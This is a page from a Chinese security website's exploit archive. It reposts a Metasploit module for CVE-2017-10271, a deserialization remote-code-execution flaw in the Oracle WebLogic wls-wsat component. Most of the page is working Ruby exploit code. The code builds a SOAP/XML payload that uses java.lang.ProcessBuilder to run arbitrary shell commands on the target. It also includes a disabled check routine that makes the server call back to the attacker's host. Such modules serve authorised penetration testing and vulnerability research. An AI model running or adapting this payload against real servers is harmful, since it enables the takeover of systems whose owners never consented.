首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Oracle WebLogic wls-wsat Component Deserialization Remote Code Execution
来源:metasploit.com 作者:Kirsche 发布时间:2018-01-29  
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  # include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => 'Oracle WebLogic wls-wsat Component Deserialization RCE',
        'Description'    => %q(
            The Oracle WebLogic WLS WSAT Component is vulnerable to a XML Deserialization
        remote code execution vulnerability. Supported versions that are affected are
        10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Discovered by Alexey Tyurin
        of ERPScan and Federico Dotta of Media Service. Please note that SRVHOST, SRVPORT,
        HTTP_DELAY, URIPATH and related HTTP Server variables are only used when executing a check
        and will not be used when executing the exploit itself.
        ),
        'License'        => MSF_LICENSE,
        'Author'         => [
          'Kevin Kirsche <d3c3pt10n[AT]deceiveyour.team>', # Metasploit module
          'Luffin', # Proof of Concept
          'Alexey Tyurin', 'Federico Dotta' # Vulnerability Discovery
        ],
        'References'     =>
          [
            ['URL', 'https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html'], # Security Bulletin
            ['URL', 'https://github.com/Luffin/CVE-2017-10271'], # Proof-of-Concept
            ['URL', 'https://github.com/kkirsche/CVE-2017-10271'], # Standalone Exploit
            ['CVE', '2017-10271'],
            ['EDB', '43458']
          ],
        'Platform'      => %w{ win unix },
        'Arch'          => [ ARCH_CMD ],
        'Targets'        =>
          [
            [ 'Windows Command payload', { 'Arch' => ARCH_CMD, 'Platform' => 'win' } ],
            [ 'Unix Command payload', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ]
          ],
        'DisclosureDate' => "Oct 19 2017",
        # Note that this is by index, rather than name. It's generally easiest
        # just to put the default at the beginning of the list and skip this
        # entirely.
        'DefaultTarget'  => 0
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The base path to the WebLogic WSAT endpoint', '/wls-wsat/CoordinatorPortType']),
      OptPort.new('RPORT', [true, "The remote port that the WebLogic WSAT endpoint listens on", 7001]),
      OptFloat.new('TIMEOUT', [true, "The timeout value of requests to RHOST", 20.0]),
      # OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the check payload', 10])
    ])
  end

  def cmd_base
    if target['Platform'] == 'win'
      return 'cmd'
    else
      return '/bin/sh'
    end
  end

  def cmd_opt
    if target['Platform'] == 'win'
      return '/c'
    else
      return '-c'
    end
  end


  #
  # This generates a XML payload that will execute the desired payload on the RHOST
  #
  def exploit_process_builder_payload
    # Generate a payload which will execute on a *nix machine using /bin/sh
    xml = %Q{<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java>
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3" >
            <void index="0">
              <string>#{cmd_base}</string>
            </void>
            <void index="1">
              <string>#{cmd_opt}</string>
            </void>
            <void index="2">
              <string>#{payload.encoded.encode(xml: :text)}</string>
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>}
  end

  #
  # This builds a XML payload that will generate a HTTP GET request to our SRVHOST
  # from the target machine.
  #
  def check_process_builder_payload
    xml = %Q{<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.8" class="java.beans.XMLDecoder">
        <void id="url" class="java.net.URL">
          <string>#{get_uri.encode(xml: :text)}</string>
        </void>
        <void idref="url">
          <void id="stream" method = "openStream" />
        </void>
      </java>
    </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>}
  end

  #
  # In the event that a 'check' host responds, we should respond randomly so that we don't clog up
  # the logs too much with a no response error or similar.
  #
  def on_request_uri(cli, request)
    random_content = '<html><head></head><body><p>'+Rex::Text.rand_text_alphanumeric(20)+'<p></body></html>'
    send_response(cli, random_content)

    @received_request = true
  end

  #
  # The exploit method connects to the remote service and sends a randomly generated string
  # encapsulated within a SOAP XML body. This will start an HTTP server for us to receive
  # the response from. This is based off of the exploit technique from
  # exploits/windows/novell/netiq_pum_eval.rb
  #
  # This doesn't work as is because MSF cannot mix HttpServer and HttpClient
  # at the time of authoring this
  #
  # def check
  #   start_service
  #
  #   print_status('Sending the check payload...')
  #   res = send_request_cgi({
  #     'method'   => 'POST',
  #     'uri'      => normalize_uri(target_uri.path),
  #     'data'     => check_process_builder_payload,
  #     'ctype'    => 'text/xml;charset=UTF-8'
  #   }, datastore['TIMEOUT'])
  #
  #   print_status("Waiting #{datastore['HTTP_DELAY']} seconds to see if the target requests our URI...")
  #
  #   waited = 0
  #   until @received_request
  #     sleep 1
  #     waited += 1
  #     if waited > datastore['HTTP_DELAY']
  #       stop_service
  #       return Exploit::CheckCode::Safe
  #     end
  #   end
  #
  #   stop_service
  #   return Exploit::CheckCode::Vulnerable
  # end

  #
  # The exploit method connects to the remote service and sends the specified payload
  # encapsulated within a SOAP XML body.
  #
  def exploit
    send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path),
      'data'     => exploit_process_builder_payload,
      'ctype'    => 'text/xml;charset=UTF-8'
    }, datastore['TIMEOUT'])
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Trend Micro Threat Discovery A
·macOS - 'sysctl_vfs_generic_co
·BMC BladeLogic 8.3.00.64 - Rem
·Arq 5.10 - Local Privilege Esc
·Asus Router Cross Site Script
·Arq 5.10 - Local Privilege Esc
·ASUS DSL-N14U B1 Router 1.1.2.
·Advantech WebAccess < 8.3 - SQ
·AsusWRT Router < 3.0.0.4.380.7
·System Shield 5.0.0.136 - Priv
·Oracle VirtualBox < 5.1.30 / <
·LabF nfsAxe 3.7 TFTP Client -
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved